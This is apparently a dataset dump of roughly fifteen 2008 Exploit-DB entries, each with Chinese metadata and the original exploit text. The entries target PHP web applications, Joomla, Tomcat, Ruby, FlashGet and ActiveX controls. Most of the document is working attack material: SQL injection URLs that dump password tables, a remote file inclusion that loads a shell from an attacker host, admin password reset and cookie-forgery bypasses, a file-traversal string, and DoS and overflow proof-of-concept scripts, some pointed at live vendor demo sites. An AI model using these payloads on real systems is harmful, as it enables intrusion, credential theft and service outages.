QLWD/code_shield huggingface dataset:
标题: deeemm CMS (dmcms) 0.7.4 - Multiple Vulnerabilities EDB-ID: 6250 CVE: 2008-3721 2008-3720 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-15 漏洞利用脚本: #####################################################################################
####                        DeeEmm CMS Sql Injection/Rfi                         ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Script Download : http://surfnet.dl.sourceforge.net/sourceforge/dmcms/dmcms_074.tar.gz
#                                                                                   #
#Home Page : www.deeemm.com                                                         #
#                                                                                   #
#DORK : "DeeEmm CMS"                                                                #
#                                                                                   #
#####################################################################################
#                                      [Rfi]                                        #
#                                                                                   #
#http://Site/user_language.php?INDM=r3d.w0rm&language_dir=http://evil-site.com/shell.txt?
#                                                                                   #
#                                 [Sql Injection]                                   #
#                                                                                   #
#http://Site/index.php?page=media`+union+select+0,1,2,4,5,6,7,8,9,user_name,11,password,13,14,15,16,17,18,19,20,21+from+deeemm_users/*                                #
#http://Site/index.php?page=media&id=-99999+union+select+0,1,2,4,5,6,7,8,9,user_name,11,password,13,14,15,16,17,18,19,20,21+from+deeemm_users                                #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-08-15] URL: https://www.exploit-db.com/exploits/6250
标题: Joomla! 1.5.x - 'Token' Remote Admin Change Password EDB-ID: 6234 CVE: 2008-3681 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-12 漏洞利用脚本: #####################################################################################
####                     Joomla 1.5.x Remote Admin Password Change               ####
#####################################################################################
#                                                                                   #
# Author: d3m0n (d3m0n@o2.pl)                                                       #
# Greets: GregStar, gorion, d3d!k                                                   #
#                                                                                   #
# Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
#                                                                                   #
#####################################################################################



File : /components/com_user/controller.php

#####################################################################################
Line : 379-399
 
 function confirmreset()
 {
  // Check for request forgeries
  JRequest::checkToken() or die( 'Invalid Token' );

  // Get the input
  $token = JRequest::getVar('token', null, 'post', 'alnum');              < --- {1} 
                  
  // Get the model
  $model = &$this->getModel('Reset');

  // Verify the token
  if ($model->confirmReset($token) === false)   < --- {2}
  {
   $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
   $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
   return false;
  }

  $this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
 }
 
#####################################################################################
 
File : /components/com_user/models/reset.php

Line: 111-130  
 
 
 
 function confirmReset($token)
 {
  global $mainframe;

  $db = &JFactory::getDBO();
  $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ---- {3} 

  // Verify the token
  if (!($id = $db->loadResult()))
  {
   $this->setError(JText::_('INVALID_TOKEN'));
   return false;
  }

  // Push the token and user id into the session
  $mainframe->setUserState($this->_namespace.'token', $token);
  $mainframe->setUserState($this->_namespace.'id', $id);

  return true;
 }
#####################################################################################



{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

# milw0rm.com [2008-08-12] URL: https://www.exploit-db.com/exploits/6234
标题: Ruby 1.9 - regex engine Remote Socket Memory Leak EDB-ID: 6239 CVE: 2008-3443 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-13 漏洞利用脚本: -------------------------------------------------------
Language : Ruby 

Web Site: www.ruby-lang.org

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and productivity.
It has an elegant syntax that is natural to read and easy to write."

=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go 
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :

#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO  WEBrick 1.3.1
[2008-07-11 22:39:55] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO  WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
        /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'
        /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
        /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
        /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'
        /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'
        script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#

=====
5)Credits
=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-08-13] URL: https://www.exploit-db.com/exploits/6239
标题: BBlog 0.7.6 - 'mod' SQL Injection EDB-ID: 6233 CVE: 2008-4436 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-12 漏洞利用脚本: #######################################################
########## BBlog 0.7.6 SQL Injection Vuln #############
#######################################################
#
# Vulnpath: /bblog_plugins/builtin.help.php
# 
# Vuln: if($_GET['mod']) $pluginrow = $bBlog->get_row("select * from ".T_PLUGINS." where name='".$_GET['mod']."' and type='modifier'");
#
#
#
# PoC: ?pid=1&mod='+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+bb_authors--
#
# help: On the number you can see you have to set:
#       concat_ws(0x3a,id,nickname,password,email,icq) 
#
#
# Found by: IP-Sh0k
#######################################################

# milw0rm.com [2008-08-12] URL: https://www.exploit-db.com/exploits/6233
标题: Microsoft Visual Studio - 'Msmask32.ocx' ActiveX Remote Buffer Overflow (PoC) EDB-ID: 6244 CVE: 2008-3704 类型: DOS 平台: WINDOWS 发布日期: 2008-08-14 漏洞利用脚本: var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" 
width="10"><PARAM NAME="Mask" VALUE="';

var body1='"></OBJECT>';

var buf='';
for (i=1;i<=1945;i++){buf=buf+unescape("%0C");}


document.write(body+buf+body1);

# milw0rm.com [2008-08-14] URL: https://www.exploit-db.com/exploits/6244
标题: gelato CMS 0.95 - 'img' Remote File Disclosure EDB-ID: 6235 CVE: 2008-3675 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-13 漏洞利用脚本: =---------------------------------------------=
=                ,.:oO0^-^0Oo:.,              =
=                      JIKO                   =
=                '':0Oov-voO0:''              =
=---------------------------------------------=
----------------------=JIKO=-------------------
| Autor    :> jiko
| Home     :> WwW.No-Exploit.CoM
| Script   :> gelato CMS
| Bug      :> Remote File Disclosure Vulnerability
| Download :> http://www.gelatocms.com/
_______________________________________________
=                   JIKI TEAm                 =
_______________________________________________
| Exploit:
.:|http://localhost/[Script]/classes/imgsize.php?img=[file]
~EX
.:|http://localhost/[script]/classes/imgsize.php?img=../index.php
| Greetz :
.:| Stack & Gold_M & HaCkeR_EgY  All Member wwW.No-Exploit.CoM
----------------------=JIKO=-------------------
=---------------------------------------------=
=                   JIKI TEAm                 =
=---------------------------------------------=

# milw0rm.com [2008-08-13] URL: https://www.exploit-db.com/exploits/6235
标题: Ventrilo 3.0.2 - Null Pointer Remote Denial of Service EDB-ID: 6237 CVE: 2008-3680 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-13 漏洞利用脚本: NULL pointer in Ventrilo 3.0.2

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6237.zip (2008-ventrilobotomy.zip)

# milw0rm.com [2008-08-13] URL: https://www.exploit-db.com/exploits/6237
标题: FlashGet 1.9 - 'FTP PWD Response' Remote Buffer Overflow (PoC) EDB-ID: 6240 CVE: 2008-4321 类型: DOS 平台: WINDOWS 发布日期: 2008-08-13 漏洞利用脚本: #!/usr/bin/python
# FlashGet 1.9 (FTP PWD Response) 0day Remote Buffer Overflow PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Testen on: FlashGet 1.9 / XP SP2 Polish
# Product URL: http://www.flashget.com/en/download.htm?uid=undefined
# Details:..
#
# 257 "[AAAA..332]/" is current directory.\r\n <-- overflow
#
# 41414141  Pointer to next SEH record
# 41414141  SE handler
#
# ----------------------------------------------------------------
# Exception C0000005 (ACCESS_VIOLATION reading [41414141])
# ----------------------------------------------------------------
# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
# ESP=020D1260: BF 37 90 7C 48 13 0D 02-08 FF 1C 02 64 13 0D 02
# EBP=020D1280: 30 13 0D 02 8B 37 90 7C-48 13 0D 02 08 FF 1C 02
# ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#               --> N/A
# ----------------------------------------------------------------
# Just for fun ;]
##

from time import sleep
from socket import *

res = [
    '220 WELCOME!! :x\r\n',
    '331 Password required for %s.\r\n',
    '230 User %s logged in.\r\n',
    '250 CWD command successful.\r\n',
    '257 "%s/" is current directory.\r\n' # <-- %s B0f :x
    ]

buf = 'A' * 332

s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])

user = ''

for i in range(1, len(res)):
    req = c.recv(1024)
    print '[*][CLIENT] %s' % (req)
    tmp = res[i]
    if(req.find('USER') != -1):
        req = req.replace('\r\n', '')
        user = req.split('\x20', 1)[1]
        tmp %= user
    if(req.find('PASS') != -1):
        tmp %= user
    if(req.find('PWD') != -1):
        tmp %= buf    
    print '[*][SERVER] %s' % (tmp)    
    c.send(tmp)

sleep(5)
c.close()
s.close()

print '[+] DONE'

# EoF

# milw0rm.com [2008-08-13] URL: https://www.exploit-db.com/exploits/6240
标题: pPIM 1.0 - Upload/Change Password EDB-ID: 6231 CVE: 2008-4528 2008-4428 2008-4427 2008-4426 2008-4425 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: Ppim <= 1.0 (upload/change password) Multiple Vulnerabilities
cript : Ppim v1.0
Download : http://scripts.ringsworld.com/organizers/ppim.zip
By Stack
Poc 1: change password
for change password go to this link
http://localhost/ppim/changepassword.php
writhe your password and confirm it

Poc 2 : upload
http://localhost/ppim/upload.php
you can upload you php shell in this link
after you go here
http://localhost/ppim/shell.php

# milw0rm.com [2008-08-11] URL: https://www.exploit-db.com/exploits/6231
标题: Vacation Rental Script 3.0 - 'id' SQL Injection EDB-ID: 6221 CVE: 2008-3603 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: ?????????????????????????????????????????????????????????????????????????????????????
??                                C r a C k E r                                   ??
??             T H E   C R A C K   O F   E T E R N A L   M I G H T                ??
????????????????????????????????????????????????????????????????????????????????????

 ?????         From The Ashes and Dust Rises An Unimaginable crack....         ?????
????????????????????????????????????????????????????????????????????????????????????
??                             [ Remote SQL Injection ]                           ??
????????????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                   : :                                       :
?   Group    : N/A                       ? ?                                       ?
?   Script   : Vacation Rental Script 3.0? ?         Register Globals :            ?
?   Download : vacationrentalscript.com  ? ?                                       ?
?   Method   : GET                       ? ?          [?] ON   [ ] OFF             ?
?   Critical : High [????????]           ? ?                                       ?
?   Impact   : System access             ? ?                                       ?
? ???????????????????????????????????????? ??????????????????????????????????????? ?
?                                 DALnet #crackers                                ??
????????????????????????????????????????????????????????????????????????????????????
:                                                                                  :
?  Release Notes:                                                                  ?
?  ?????????????                                                                   ?
?  Typically used for remotely exploitable vulnerabilities that can lead to        ?
?  system compromise.                                                              ?
?                                                                                  ?

????????????????????????????????????????????????????????????????????????????????????
??                                Exploit URL's                                   ??
????????????????????????????????????????????????????????????????????????????????????

[SQL]
  
http://www.localhost.com/path/index.php?obj=sections&id=-1 UNION SELECT concat(username,0x3a,password) FROM users--

Live DEMO:

http://www.vacationrentalscript.com/demo/index.php?obj=sections&id=-1 UNION SELECT concat(username,0x3a,password) FROM users--

   
????????????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .

????????????????????????????????????????????????????????????????????????????????????
??                                 © CraCkEr 2008                                 ??
????????????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6221
标题: OpenImpro 1.1 - 'image.php' SQL Injection EDB-ID: 6228 CVE: 2008-3599 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: #OpenImpro 1.1(id) Sql Injection Vulnerability



#Author: nuclear



#script: http://downloads.sourceforge.net/openimpro/openimpro-1.1.zip



#exploit: target.com/image.php?id=-1 union select 1,2,concat(firstname,0x3a,lastname,0x3a,password),4,5,6 from im_person --


#Description:
when you do the injection you will be asked to download a file called image.php . Save it,open with any
texteditor and get your password ;).


#greetz cAs, Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, and me :P

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6228
标题: ZeeBuddy 2.1 - 'adid' SQL Injection EDB-ID: 6230 CVE: 2008-3604 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: |___________________________________________________|
|
|  ZeeBuddy v2.1(adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.zeescripts.com
|
|___________________________________________________|

Exploit:  

www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--



L!VE DEMO: :


http://www.zeebuddy.com/bannerclick.php?adid=-5+union+select+1,2,version(),4,5,6,7,8,9+from+admin--


http://www.zeebuddy.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| CraCkEr | Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-11] URL: https://www.exploit-db.com/exploits/6230
标题: Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) EDB-ID: 6229 CVE: 2008-2938 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-08-11 漏洞利用脚本: Title: Apache Tomcat Directory Traversal Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: prior to 6.0.18
Solution:
 - Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)
 - Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.
 - Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.
References:
 - http://tomcat.apache.org/security.html
 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
History:
 - 07.17.2008: Initiate notify (To Apache Security Team)
 - 08.02.2008: Responsed this problem fixed and released new version
 - 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)
 - 08.10.2008: Responsed with some suggestions.

Description
As Apache Security Team, this problem occurs because of JAVA side.
If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as
'UTF-8', an attacker can obtain your important system files.(e.g.  /etc/passwd)

Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)

http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar

# milw0rm.com [2008-08-11] URL: https://www.exploit-db.com/exploits/6229
标题: PHP-Ring Webring System 0.9.1 - Insecure Cookie Handling EDB-ID: 6225 CVE: 2008-3602 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: ###############################################################################################
  #                                                                                             #
  #    ...:::::PHP-Ring Webring System v0.9.1 Insecure Cookie Handling Vulnerability ::::....   #           
  ###############################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
PHP-Ring Webring System , suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /admin/wr_admin.php

$cookie = $_COOKIE[admin]; //check for cookie

if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login" && $_GET[op] != "logout") {
    include("../templates/wr_header.php");
    echo "Enter admin username and password to log in";
    ....
    ....
    ..
    } else {
function adminhome() // load admin settings

---
exploit:
javascript:document.cookie = "admin=1; path=/";
-----
now visit /admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6225